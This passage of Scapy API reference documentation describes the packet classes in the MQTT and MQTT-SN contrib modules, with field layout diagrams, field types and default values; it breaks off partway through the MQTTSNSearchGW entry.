	Possible sublayers:
EoMCW, MPLS, IP, IPv6












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.mqtt


	
class scapy.contrib.mqtt.MQTT(_pkt, /, *, type=1, DUP=0, QOS=0, RETAIN=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L98-L112]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |D|QOS|R|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. MQTT                             


MQTT fields






	type

	BitEnumField

	1



	DUP

	BitEnumField

	0



	QOS

	BitEnumField

	0



	RETAIN

	BitEnumField

	0



	len

	VariableFieldLenField

	None











	
payload_guess

	Possible sublayers:
MQTTConnack, MQTTConnect, MQTTDisconnect, MQTTPuback, MQTTPubcomp, MQTTPublish, MQTTPubrec, MQTTPubrel, MQTTSuback, MQTTSubscribe, MQTTUnsuback, MQTTUnsubscribe










	
class scapy.contrib.mqtt.MQTTConnack(_pkt, /, *, sessPresentFlag=0, retcode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L185-L191]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SESSPRESENTFLAG|    RETCODE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MQTTConnack                         


MQTTConnack fields






	sessPresentFlag

	ByteField

	0



	retcode

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTConnect(_pkt, /, *, length=None, protoname=b'', protolevel=5, usernameflag=0, passwordflag=0, willretainflag=0, willQOSflag=0, willflag=0, cleansess=0, reserved=0, klive=0, clientIdlen=None, clientId=b'', wtoplen=None, willtopic=b'', wmsglen=None, willmsg=b'', userlen=None, username=b'', passlen=None, password=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L122-L167]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |           PROTONAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PROTOLEVEL  |U|P|W|WIL|W|C|R|             KLIVE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CLIENTIDLEN          |            CLIENTID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            WTOPLEN            |           WILLTOPIC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            WMSGLEN            |            WILLMSG            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            USERLEN            |            USERNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PASSLEN            |            PASSWORD           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MQTTConnect                         


MQTTConnect fields






	length

	FieldLenField

	None



	protoname

	StrLenField

	b''



	protolevel

	ByteEnumField

	5



	usernameflag

	BitEnumField

	0



	passwordflag

	BitEnumField

	0



	willretainflag

	BitEnumField

	0



	willQOSflag

	BitEnumField

	0



	willflag

	BitEnumField

	0



	cleansess

	BitEnumField

	0



	reserved

	BitEnumField

	0



	klive

	ShortField

	0



	clientIdlen

	FieldLenField

	None



	clientId

	StrLenField

	b''



	wtoplen

	FieldLenField (Cond)

	None



	willtopic

	StrLenField (Cond)

	b''



	wmsglen

	FieldLenField (Cond)

	None



	willmsg

	StrLenField (Cond)

	b''



	userlen

	FieldLenField (Cond)

	None



	username

	StrLenField (Cond)

	b''



	passlen

	FieldLenField (Cond)

	None



	password

	StrLenField (Cond)

	b''











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTDisconnect(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L170-L172]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	




	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTPuback(_pkt, /, *, msgid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L210-L214]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MQTTPuback                          


MQTTPuback fields






	msgid

	ShortField

	None











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTPubcomp(_pkt, /, *, msgid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L231-L235]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MQTTPubcomp                         


MQTTPubcomp fields






	msgid

	ShortField

	None











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTPublish(_pkt, /, *, length=None, topic=b'', msgid=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L194-L207]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |             TOPIC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MQTTPublish                         


MQTTPublish fields






	length

	FieldLenField

	None



	topic

	StrLenField

	b''



	msgid

	ShortField (Cond)

	None



	value

	StrLenField

	b''











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTPubrec(_pkt, /, *, msgid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L217-L221]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MQTTPubrec                          


MQTTPubrec fields






	msgid

	ShortField

	None











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTPubrel(_pkt, /, *, msgid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L224-L228]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MQTTPubrel                          


MQTTPubrel fields






	msgid

	ShortField

	None











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTSuback(_pkt, /, *, msgid=None, retcodes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L277-L282]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |            RETCODES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MQTTSuback                          


MQTTSuback fields






	msgid

	ShortField

	None



	retcodes

	FieldListField

	[]











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTSubscribe(_pkt, /, *, msgid=None, topics=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L253-L258]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |             TOPICS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSubscribe                        


MQTTSubscribe fields






	msgid

	ShortField

	None



	topics

	PacketListField

	[]











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTTopic(_pkt, /, *, length=None, topic=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L238-L246]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |             TOPIC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. MQTTTopic                          


MQTTTopic fields






	length

	FieldLenField

	None



	topic

	StrLenField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L245-L246]

	








	
class scapy.contrib.mqtt.MQTTTopicQOS(_pkt, /, *, length=None, topic=b'', QOS=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L249-L250]

	Bases: MQTTTopic


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |             TOPIC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      QOS      |
+-+-+-+-+-+-+-+-+

                        Fig. MQTTTopicQOS                         


MQTTTopicQOS fields






	length

	FieldLenField

	None



	topic

	StrLenField

	b''



	QOS

	ByteEnumField

	0















	
class scapy.contrib.mqtt.MQTTUnsuback(_pkt, /, *, msgid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L293-L297]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTUnsuback                         


MQTTUnsuback fields






	msgid

	ShortField

	None











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.MQTTUnsubscribe(_pkt, /, *, msgid=None, topics=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L285-L290]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSGID             |             TOPICS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MQTTUnsubscribe                       


MQTTUnsubscribe fields






	msgid

	ShortField

	None



	topics

	PacketListField

	[]











	
payload_guess

	Possible sublayers:
MQTT










	
class scapy.contrib.mqtt.RandVariableFieldLen[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L65-L67]

	Bases: RandNum






	
class scapy.contrib.mqtt.VariableFieldLenField(name: str, default: Optional[Any], length_of: Optional[str] = None, fmt: str = 'H', count_of: Optional[str] = None, adjust: Callable[[Packet, int], int] = <function FieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L30-L62]

	Bases: FieldLenField


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L31-L48]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L50-L59]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqtt.py#L61-L62]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.mqttsn

MQTT for Sensor Networks (MQTT-SN)

Specification:
http://www.mqtt.org/new/wp-content/uploads/2009/06/MQTT-SN_spec_v1.2.pdf


	
class scapy.contrib.mqttsn.MQTTSN(_pkt, /, *, len=None, type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L206-L215]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. MQTTSN                            


MQTTSN fields






	len

	VariableFieldLenField

	None



	type

	XByteEnumField

	0











	
payload_guess

	Possible sublayers:
MQTTSNAdvertise, MQTTSNConnack, MQTTSNConnect, MQTTSNDisconnect, MQTTSNEncaps, MQTTSNGwInfo, MQTTSNPingReq, MQTTSNPingResp, MQTTSNPuback, MQTTSNPubcomp, MQTTSNPublish, MQTTSNPubrec, MQTTSNPubrel, MQTTSNRegack, MQTTSNRegister, MQTTSNSearchGW, MQTTSNSuback, MQTTSNSubscribe, MQTTSNUnsuback, MQTTSNUnsubscribe, MQTTSNWillMsgReq, MQTTSNWillMsgResp, MQTTSNWillMsgUpd, MQTTSNWillMsg, MQTTSNWillTopicReq, MQTTSNWillTopicResp, MQTTSNWillTopicUpd, MQTTSNWillTopic










	
class scapy.contrib.mqttsn.MQTTSNAdvertise(_pkt, /, *, gw_id=0, duration=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L218-L223]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     GW ID     |            DURATION           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MQTTSNAdvertise                       


MQTTSNAdvertise fields






	gw_id

	ByteField

	0



	duration

	ShortField

	0















	
class scapy.contrib.mqttsn.MQTTSNConnack(_pkt, /, *, return_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L250-L254]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RETURN CODE  |
+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNConnack                        


MQTTSNConnack fields






	return_code

	ByteEnumField

	0















	
class scapy.contrib.mqttsn.MQTTSNConnect(_pkt, /, *, dup=0, qos=0, retain=0, will=0, cleansess=0, tid_type=0, prot_id=1, duration=0, client_id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L241-L247]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|QOS|R|W|C|TID|    PROT ID    |            DURATION           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CLIENT ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNConnect                        


MQTTSNConnect fields






	dup

	BitField  (1 bit)

	0



	qos

	BitEnumField

	0



	retain

	BitField  (1 bit)

	0



	will

	BitField  (1 bit)

	0



	cleansess

	BitField  (1 bit)

	0



	tid_type

	BitEnumField

	0



	prot_id

	ByteField

	1



	duration

	ShortField

	0



	client_id

	StrLenField

	b''















	
class scapy.contrib.mqttsn.MQTTSNDisconnect(_pkt, /, *, duration=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L391-L399]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DURATION           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MQTTSNDisconnect                       


MQTTSNDisconnect fields






	duration

	ShortField (Cond)

	None















	
class scapy.contrib.mqttsn.MQTTSNEncaps(_pkt, /, *, resvd=0, radius=0, w_node_id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L430-L439]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESVD   |RAD|           W NODE ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNEncaps                         


MQTTSNEncaps fields






	resvd

	BitField  (6 bits)

	0



	radius

	BitField  (2 bits)

	0



	w_node_id

	StrLenField

	b''











	
payload_guess

	Possible sublayers:
MQTTSN










	
class scapy.contrib.mqttsn.MQTTSNGwInfo(_pkt, /, *, gw_id=0, gw_addr=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L233-L238]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     GW ID     |            GW ADDR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNGwInfo                         


MQTTSNGwInfo fields






	gw_id

	ByteField

	0



	gw_addr

	StrLenField

	b''















	
class scapy.contrib.mqttsn.MQTTSNPingReq(_pkt, /, *, client_id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L380-L384]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CLIENT ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNPingReq                        


MQTTSNPingReq fields






	client_id

	StrLenField

	b''















	
class scapy.contrib.mqttsn.MQTTSNPingResp(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L387-L388]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.mqttsn.MQTTSNPuback(_pkt, /, *, tid=0, mid=0, return_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L306-L312]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TID              |              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RETURN CODE  |
+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNPuback                         


MQTTSNPuback fields






	tid

	ShortField

	0



	mid

	ShortField

	0



	return_code

	ByteEnumField

	0















	
class scapy.contrib.mqttsn.MQTTSNPubcomp(_pkt, /, *, mid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L315-L319]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNPubcomp                        


MQTTSNPubcomp fields






	mid

	ShortField

	0















	
class scapy.contrib.mqttsn.MQTTSNPublish(_pkt, /, *, dup=0, qos=0, retain=0, will=0, cleansess=0, tid_type=0, tid=0, mid=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L297-L303]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|QOS|R|W|C|TID|              TID              |      MID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNPublish                        


MQTTSNPublish fields






	dup

	BitField  (1 bit)

	0



	qos

	BitEnumField

	0



	retain

	BitField  (1 bit)

	0



	will

	BitField  (1 bit)

	0



	cleansess

	BitField  (1 bit)

	0



	tid_type

	BitEnumField

	0



	tid

	ShortField

	0



	mid

	ShortField

	0



	data

	StrLenField

	b''















	
class scapy.contrib.mqttsn.MQTTSNPubrec(_pkt, /, *, mid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L322-L326]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNPubrec                         


MQTTSNPubrec fields






	mid

	ShortField

	0















	
class scapy.contrib.mqttsn.MQTTSNPubrel(_pkt, /, *, mid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L329-L333]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNPubrel                         


MQTTSNPubrel fields






	mid

	ShortField

	0















	
class scapy.contrib.mqttsn.MQTTSNRegack(_pkt, /, *, tid=0, mid=0, return_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L288-L294]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TID              |              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RETURN CODE  |
+-+-+-+-+-+-+-+-+

                        Fig. MQTTSNRegack                         


MQTTSNRegack fields






	tid

	ShortField

	0



	mid

	ShortField

	0



	return_code

	ByteEnumField

	0















	
class scapy.contrib.mqttsn.MQTTSNRegister(_pkt, /, *, tid=0, mid=0, topic_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L279-L285]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TID              |              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TOPIC NAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MQTTSNRegister                        


MQTTSNRegister fields






	tid

	ShortField

	0



	mid

	ShortField

	0



	topic_name

	StrLenField

	b''















	
class scapy.contrib.mqttsn.MQTTSNSearchGW(_pkt, /, *, radius=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mqttsn.py#L226-L230]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
